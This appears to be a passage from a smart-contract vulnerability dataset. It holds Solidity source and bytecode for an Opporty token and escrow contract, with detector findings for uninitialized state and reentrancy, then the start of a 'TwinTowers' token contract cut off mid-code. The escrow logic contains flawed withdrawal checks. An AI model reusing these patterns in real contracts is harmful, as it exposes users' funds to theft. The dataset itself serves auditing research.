increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract OpportyToken is StandardToken { string public constant name = "OpportyToken"; string public constant symbol = "OPP"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Contructor that gives msg.sender all of existing tokens. */ function OpportyToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract Escrow is Ownable { // status of the project enum Status { NEW, PAYED, WORKDONE, CLAIMED, CLOSED } // status of the current work enum WorkStatus {NEW, STARTED, FULLYDONE, PARTIALLYDONE } // token address address tokenHolder = 0x08990456DC3020C93593DF3CaE79E27935dd69b9; // execute funciton only by token holders modifier onlyShareholders { require (token.balanceOf(msg.sender) > 0); _; } // transaction only after deadline modifier afterDeadline(uint idProject) { Project storage project = projects[idProject]; require (now > project.deadline) ; _; } // transaction can be executed by project client modifier onlyClient(uint idProject) { Project storage project = projects[idProject]; require (project.client == msg.sender); _; } // transaction can be executed only by performer modifier onlyPerformer(uint idProject) { Project storage project = projects[idProject]; require (project.performer == msg.sender); _; } // project in Opporty system // TODO: decrease size of struct struct Project { uint id; string name; address client; address performer; uint deadline; uint sum; Status status; string report; WorkStatus wstatus; uint votingDeadline; uint numberOfVotes; uint totalVotesNeeded; bool withdrawed; Vote[] votes; mapping (address => bool) voted; } // one vote - one element of struct struct Vote { bool inSupport; address voter; } // event - project was added event ProjectAdded(uint idExternal, uint projectID, address performer, string name, uint sum); // event - fund was transferred event FundTransfered(address recipient, uint amount); // work was done event WorkDone(uint projectId, address performer, WorkStatus status, string link); // already voted event Voted(uint projectID, bool position, address voter); // status of project changed event ChangedProjectStatus(uint projectID, Status status); event log(string val); event loga(address addr); event logi(uint i); // token for payments OpportyToken token; // all projects Project[] projects; // number or projects uint public numProjects; function Escrow(address tokenUsed) public { token = OpportyToken(tokenUsed); } function getNumberOfProjects() public constant returns(uint) { return numProjects; } // Add a project to blockchain // idExternal - id in opporty // name // performer // duration // sum function addProject(uint idExternal, string name, address performer, uint durationInMinutes, uint sum) public returns (uint projectId) { projectId = projects.length++; Project storage p = projects[projectId]; p.id = idExternal; p.name = name; p.client = msg.sender; p.performer = performer; p.deadline = now + durationInMinutes * 1 minutes; p.sum = sum * 1 ether; p.status = Status.NEW; ProjectAdded(idExternal, projectId, performer, name, sum); return projectId; } function getProjectReport(uint idProject) public constant returns (string t) { Project storage p = projects[idProject]; return p.report; } function getJudgeVoted(uint idProject, address judge) public constant returns (bool voted) { Project storage p = projects[idProject]; if (p.voted[judge]) return true; else return false; } // get status of project function getStatus(uint idProject) public constant returns (uint t) { Project storage p = projects[idProject]; return uint(p.status); } // is deadline function isDeadline(uint idProject) public constant returns (bool f) { Project storage p = projects[idProject]; if (now >= p.deadline) { return true; } else { return false; } } // pay for project by client function payFor(uint idProject) payable onlyClient(idProject) public returns (bool) { Project storage project = projects[idProject]; uint price = project.sum; require (project.status == Status.NEW); if (msg.value >= price) { project.status = Status.PAYED; FundTransfered(this, msg.value); ChangedProjectStatus(idProject, Status.PAYED); return true; } else { revert(); } } // pay by project in tokens function payByTokens(uint idProject) onlyClient(idProject) onlyShareholders public { Project storage project = projects[idProject]; require (project.sum <= token.balanceOf(project.client)); require (token.transferFrom(project.client, tokenHolder, project.sum)); ChangedProjectStatus(idProject, Status.PAYED); } // change status of project - done // and provide report function workDone(uint idProject, string report, WorkStatus status) onlyPerformer(idProject) afterDeadline(idProject) public { Project storage project = projects[idProject]; require (project.status == Status.PAYED); project.status = Status.WORKDONE; project.report = report; project.wstatus = status; WorkDone(idProject, project.performer, project.wstatus, project.report); ChangedProjectStatus(idProject, Status.WORKDONE); } // work is done - execured by client function acceptWork(uint idProject) onlyClient(idProject) afterDeadline(idProject) public { Project storage project = projects[idProject]; require (project.status == Status.WORKDONE); project.status = Status.CLOSED; ChangedProjectStatus(idProject, Status.CLOSED); } // claim - project was undone (?) // numberOfVoters // debatePeriod - time for voting function claimWork(uint idProject, uint numberOfVoters, uint debatePeriod) afterDeadline(idProject) public { Project storage project = projects[idProject]; require (project.status == Status.WORKDONE); project.status = Status.CLAIMED; project.votingDeadline = now + debatePeriod * 1 minutes; project.totalVotesNeeded = numberOfVoters; ChangedProjectStatus(idProject, Status.CLAIMED); } // voting process function vote(uint idProject, bool supportsProject) public returns (uint voteID) { Project storage p = projects[idProject]; require(p.voted[msg.sender] != true); require(p.status == Status.CLAIMED); require(p.numberOfVotes < p.totalVotesNeeded); require(now >= p.votingDeadline ); voteID = p.votes.length++; p.votes[voteID] = Vote({inSupport: supportsProject, voter: msg.sender}); p.voted[msg.sender] = true; p.numberOfVotes = voteID + 1; Voted(idProject, supportsProject, msg.sender); return voteID; } // safeWithdrawal - get money by performer / return money for client function safeWithdrawal(uint idProject) afterDeadline(idProject) public { Project storage p = projects[idProject]; // if status closed and was not withdrawed require(p.status == Status.CLAIMED || p.status == Status.CLOSED && !p.withdrawed); // if project closed if (p.status == Status.CLOSED) { if (msg.sender == p.performer && !p.withdrawed && msg.sender.send(p.sum) ) { FundTransfered(msg.sender, p.sum); p.withdrawed = true; } else { revert(); } } else { // claim uint yea = 0; uint nay = 0; // calculating votes for (uint i = 0; i < p.votes.length; ++i) { Vote storage v = p.votes[i]; if (v.inSupport) { yea += 1; } else { nay += 1; } } // если уже время голосования закончилось if (now >= p.votingDeadline) { if (msg.sender == p.performer && p.numberOfVotes >= p.totalVotesNeeded ) { if (yea>nay && !p.withdrawed && msg.sender.send(p.sum)) { FundTransfered(msg.sender, p.sum); p.withdrawed = true; p.status = Status.CLOSED; ChangedProjectStatus(idProject, Status.CLOSED); } } if (msg.sender == p.client) { if (nay>=yea && !p.withdrawed && msg.sender.send(p.sum)) { FundTransfered(msg.sender, p.sum); p.withdrawed = true; p.status = Status.CLOSED; // меняем статус проекта ChangedProjectStatus(idProject, Status.CLOSED); } } } else { revert(); } } } // get tokens function safeWithdrawalTokens(uint idProject) afterDeadline(idProject) public { Project storage p = projects[idProject]; require(p.status == Status.CLAIMED || p.status == Status.CLOSED && !p.withdrawed); if (p.status == Status.CLOSED) { if (msg.sender == p.performer && token.transfer(p.performer, p.sum) && !p.withdrawed) { FundTransfered(msg.sender, p.sum); p.withdrawed = true; } else { revert(); } } } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630212d0b9146100f657806319ba0b6314610123578063535d1ab31461014e5780635a067baa1461018f5780635c622a0e146101ba5780635e983156146101fb5780635f56b6fe146102605780637f440d571461028d578063873a2878146103335780638da5cb5b146103605780639c8945bc146103b7578063c39899c114610437578063c5edd4501461047c578063c9d27afe146104b4578063d337ce8614610501578063f2fde38b146105bc578063f69b9dd8146105ff575b600080fd5b34801561010257600080fd5b506101216004803603810190808035906020019092919050505061062c565b005b34801561012f57600080fd5b50610138610ade565b6040518082815260200191505060405180910390f35b34801561015a57600080fd5b5061018d600480360381019080803590602001909291908035906020019092919080359060200190929190505050610ae8565b005b34801561019b57600080fd5b506101a4610c06565b6040518082815260200191505060405180910390f35b3480156101c657600080fd5b506101e560048036038101908080359060200190929190505050610c0c565b6040518082815260200191505060405180910390f35b34801561020757600080fd5b5061024660048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c53565b604051808215151515815260200191505060405180910390f35b34801561026c57600080fd5b5061028b60048036038101908080359060200190929190505050610cde565b005b34801561029957600080fd5b506102b860048036038101908080359060200190929190505050611359565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f85780820151818401526020810190506102dd565b50505050905090810190601f1680156103255780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033f57600080fd5b5061035e60048036038101908080359060200190929190505050611421565b005b34801561036c57600080fd5b506103756115a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c357600080fd5b5061043560048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff1690602001909291905050506115cd565b005b34801561044357600080fd5b50610462600480360381019080803590602001909291905050506118d7565b604051808215151515815260200191505060405180910390f35b61049a6004803603810190808035906020019092919050505061191a565b604051808215151515815260200191505060405180910390f35b3480156104c057600080fd5b506104eb60048036038101908080359060200190929190803515159060200190929190505050611afa565b6040518082815260200191505060405180910390f35b34801561050d57600080fd5b506105a660048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611d8e565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611faa565b005b34801561060b57600080fd5b5061062a600480360381019080803590602001909291905050506120ff565b005b600081600060038281548110151561064057fe5b90600052602060002090600f020190503373ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156106ae57600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561076d57600080fd5b505af1158015610781573d6000803e3d6000fd5b505050506040513d602081101561079757600080fd5b81019080805190602001909291905050501115156107b457600080fd5b6003848154811015156107c357fe5b90600052602060002090600f02019250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318460020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156108b457600080fd5b505af11580156108c8573d6000803e3d6000fd5b505050506040513d60208110156108de57600080fd5b810190808051906020019092919050505083600501541115151561090157600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8460020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600501546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b505050506040513d6020811015610a6e57600080fd5b81019080805190602001909291905050501515610a8a57600080fd5b7fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd867284600160405180838152602001826004811115610ac457fe5b60ff1681526020019250505060405180910390a150505050565b6000600454905090565b6000836000600382815481101515610afc57fe5b90600052602060002090600f02019050806004015442111515610b1e57600080fd5b600386815481101515610b2d57fe5b90600052602060002090600f0201925060026004811115610b4a57fe5b8360060160009054906101000a900460ff166004811115610b6757fe5b141515610b7357600080fd5b60038360060160006101000a81548160ff02191690836004811115610b9457fe5b0217905550603c8402420183600901819055508483600b01819055507fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd867286600360405180838152602001826004811115610bea57fe5b60ff1681526020019250505060405180910390a1505050505050565b60045481565b600080600383815481101515610c1e57fe5b90600052602060002090600f020190508060060160009054906101000a900460ff166004811115610c4b57fe5b915050919050565b600080600384815481101515610c6557fe5b90600052602060002090600f0201905080600e0160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cd25760019150610cd7565b600091505b5092915050565b6000806000806000856000600382815481101515610cf857fe5b90600052602060002090600f02019050806004015442111515610d1a57600080fd5b600388815481101515610d2957fe5b90600052602060002090600f0201965060036004811115610d4657fe5b8760060160009054906101000a900460ff166004811115610d6357fe5b1480610db05750600480811115610d7657fe5b8760060160009054906101000a900460ff166004811115610d9357fe5b148015610daf575086600c0160009054906101000a900460ff16155b5b1515610dbb57600080fd5b600480811115610dc757fe5b8760060160009054906101000a900460ff166004811115610de457fe5b1415610f39578660030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e58575086600c0160009054906101000a900460ff16155b8015610e9957503373ffffffffffffffffffffffffffffffffffffffff166108fc88600501549081150290604051600060405180830381858888f193505050505b15610f2f577f4a0f31347e3bcd7ca4807151e54057b91971fdf592fcd3056a22fa1236dea3a2338860050154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600187600c0160006101000a81548160ff021916908315150217905550610f34565b600080fd5b61134f565b6000955060009450600093505b86600d0180549050841015610fa65786600d0184815481101515610f6657fe5b9060005260206000200192508260000160009054906101000a900460ff1615610f9457600186019550610f9b565b6001850194505b836001019350610f46565b866009015442101515611349578660030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561101a575086600b015487600a015410155b1561118557848611801561103d575086600c0160009054906101000a900460ff16155b801561107e57503373ffffffffffffffffffffffffffffffffffffffff166108fc88600501549081150290604051600060405180830381858888f193505050505b15611184577f4a0f31347e3bcd7ca4807151e54057b91971fdf592fcd3056a22fa1236dea3a2338860050154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600187600c0160006101000a81548160ff02191690831515021790555060048760060160006101000a81548160ff0219169083600481111561113057fe5b02179055507fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd86728860046040518083815260200182600481111561116f57fe5b60ff1681526020019250505060405180910390a15b5b8660020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611344578585101580156111fc575086600c0160009054906101000a900460ff16155b801561123d57503373ffffffffffffffffffffffffffffffffffffffff166108fc88600501549081150290604051600060405180830381858888f193505050505b15611343577f4a0f31347e3bcd7ca4807151e54057b91971fdf592fcd3056a22fa1236dea3a2338860050154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600187600c0160006101000a81548160ff02191690831515021790555060048760060160006101000a81548160ff021916908360048111156112ef57fe5b02179055507fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd86728860046040518083815260200182600481111561132e57fe5b60ff1681526020019250505060405180910390a15b5b61134e565b600080fd5b5b5050505050505050565b6060600060038381548110151561136c57fe5b90600052602060002090600f02019050806007018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114145780601f106113e957610100808354040283529160200191611414565b820191906000526020600020905b8154815290600101906020018083116113f757829003601f168201915b5050505050915050919050565b600081600060038281548110151561143557fe5b90600052602060002090600f020190503373ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114a357600080fd5b8360006003828154811015156114b557fe5b90600052602060002090600f020190508060040154421115156114d757600080fd5b6003868154811015156114e657fe5b90600052602060002090600f020194506002600481111561150357fe5b8560060160009054906101000a900460ff16600481111561152057fe5b14151561152c57600080fd5b60048560060160006101000a81548160ff0219169083600481111561154d57fe5b02179055507fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd86728660046040518083815260200182600481111561158c57fe5b60ff1681526020019250505060405180910390a1505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008360006003828154811015156115e157fe5b90600052602060002090600f020190503373ffffffffffffffffffffffffffffffffffffffff168160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561164f57600080fd5b85600060038281548110151561166157fe5b90600052602060002090600f0201905080600401544211151561168357600080fd5b60038881548110151561169257fe5b90600052602060002090600f02019450600160048111156116af57fe5b8560060160009054906101000a900460ff1660048111156116cc57fe5b1415156116d857600080fd5b60028560060160006101000a81548160ff021916908360048111156116f957fe5b021790555086856007019080519060200190611716929190612445565b50858560080160006101000a81548160ff0219169083600381111561173757fe5b02179055507fd5cfcbbe258d7c59cd6b1b8934c42380062b6c194879f6eee52eb8891a7011d1888660030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760080160009054906101000a900460ff1688600701604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360038111156117e157fe5b60ff1681526020018060200182810382528381815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561186e5780601f106118435761010080835404028352916020019161186e565b820191906000526020600020905b81548152906001019060200180831161185157829003601f168201915b50509550505050505060405180910390a17fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd8672886002604051808381526020018260048111156118b957fe5b60ff1681526020019250505060405180910390a15050505050505050565b6000806003838154811015156118e957fe5b90600052602060002090600f0201905080600401544210151561190f5760019150611914565b600091505b50919050565b600080600083600060038281548110151561193157fe5b90600052602060002090600f020190503373ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561199f57600080fd5b6003868154811015156119ae57fe5b90600052602060002090600f0201935083600501549250600060048111156119d257fe5b8460060160009054906101000a900460ff1660048111156119ef57fe5b1415156119fb57600080fd5b8234101515611aec5760018460060160006101000a81548160ff02191690836004811115611a2557fe5b02179055507f4a0f31347e3bcd7ca4807151e54057b91971fdf592fcd3056a22fa1236dea3a23034604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a17fdb2a1dffc07fac632103eef422c6fb1d7938d860d7694908827229fdf8bd867286600160405180838152602001826004811115611acf57fe5b60ff1681526020019250505060405180910390a160019450611af1565b600080fd5b50505050919050565b600080600384815481101515611b0c57fe5b90600052602060002090600f020190506001151581600e0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611b7e57600080fd5b60036004811115611b8b57fe5b8160060160009054906101000a900460ff166004811115611ba857fe5b141515611bb457600080fd5b80600b015481600a0154101515611bca57600080fd5b80600901544210151515611bdd57600080fd5b80600d018054809190600101611bf391906124c5565b9150604080519081016040528084151581526020013373ffffffffffffffffffffffffffffffffffffffff1681525081600d0183815481101515611c3357fe5b9060005260206000200160008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050600181600e0160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001820181600a01819055507f86abfce99b7dd908bec0169288797f85049ec73cbe046ed9de818fab3a497ae084843360405180848152602001831515151581526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a18191505092915050565b60008060038054809190600101611da591906124f1565b9150600382815481101515611db657fe5b90600052602060002090600f0201905086816000018190555085816001019080519060200190611de7929190612445565b50338160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550603c840242018160040181905550670de0b6b3a76400008302816005018190555060008160060160006101000a81548160ff02191690836004811115611eb057fe5b02179055507f64e7326b7b5fda5b085e41b8a5d025dece2dceca8362bf2f1aadaf8e882252748783878987604051808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611f5f578082015181840152602081019050611f44565b50505050905090810190601f168015611f8c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a18191505095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561204157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600060038281548110151561211357fe5b90600052602060002090600f0201905080600401544211151561213557600080fd5b60038481548110151561214457fe5b90600052602060002090600f020192506003600481111561216157fe5b8360060160009054906101000a900460ff16600481111561217e57fe5b14806121cb575060048081111561219157fe5b8360060160009054906101000a900460ff1660048111156121ae57fe5b1480156121ca575082600c0160009054906101000a900460ff16155b5b15156121d657600080fd5b6004808111156121e257fe5b8360060160009054906101000a900460ff1660048111156121ff57fe5b141561243f578260030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156123885750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8460030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685600501546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561234c57600080fd5b505af1158015612360573d6000803e3d6000fd5b505050506040513d602081101561237657600080fd5b81019080805190602001909291905050505b80156123a3575082600c0160009054906101000a900460ff16155b15612439577f4a0f31347e3bcd7ca4807151e54057b91971fdf592fcd3056a22fa1236dea3a2338460050154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600183600c0160006101000a81548160ff02191690831515021790555061243e565b600080fd5b5b50505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061248657805160ff19168380011785556124b4565b828001600101855582156124b4579182015b828111156124b3578251825591602001919060010190612498565b5b5090506124c19190612523565b5090565b8154818355818111156124ec578183600052602060002091820191016124eb9190612548565b5b505050565b81548183558181111561251e57600f0281600f02836000526020600020918201910161251d91906125a2565b5b505050565b61254591905b80821115612541576000816000905550600101612529565b5090565b90565b61259f91905b8082111561259b57600080820160006101000a81549060ff02191690556000820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555060010161254e565b5090565b90565b6126a891905b808211156126a4576000808201600090556001820160006125c991906126ab565b6002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600482016000905560058201600090556006820160006101000a81549060ff021916905560078201600061264b91906126ab565b6008820160006101000a81549060ff02191690556009820160009055600a820160009055600b820160009055600c820160006101000a81549060ff0219169055600d8201600061269b91906126f3565b50600f016125a8565b5090565b90565b50805460018160011615610100020316600290046000825580601f106126d157506126f0565b601f0160209004906000526020600020908101906126ef9190612523565b5b50565b50805460008255906000526020600020908101906127119190612548565b505600a165627a7a72305820ca3038d823a0d39fe516dc22a83a3781d19e3be0482c02a2391c2cc36ef36f2e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,677
0x8353f7D7E5592A830A9659820d12EacbF603eeAe
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TwinTowers is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Twin Towers"; string private constant _symbol = unicode"Twin Towers"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 10; uint256 private _feeRate = 11; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { 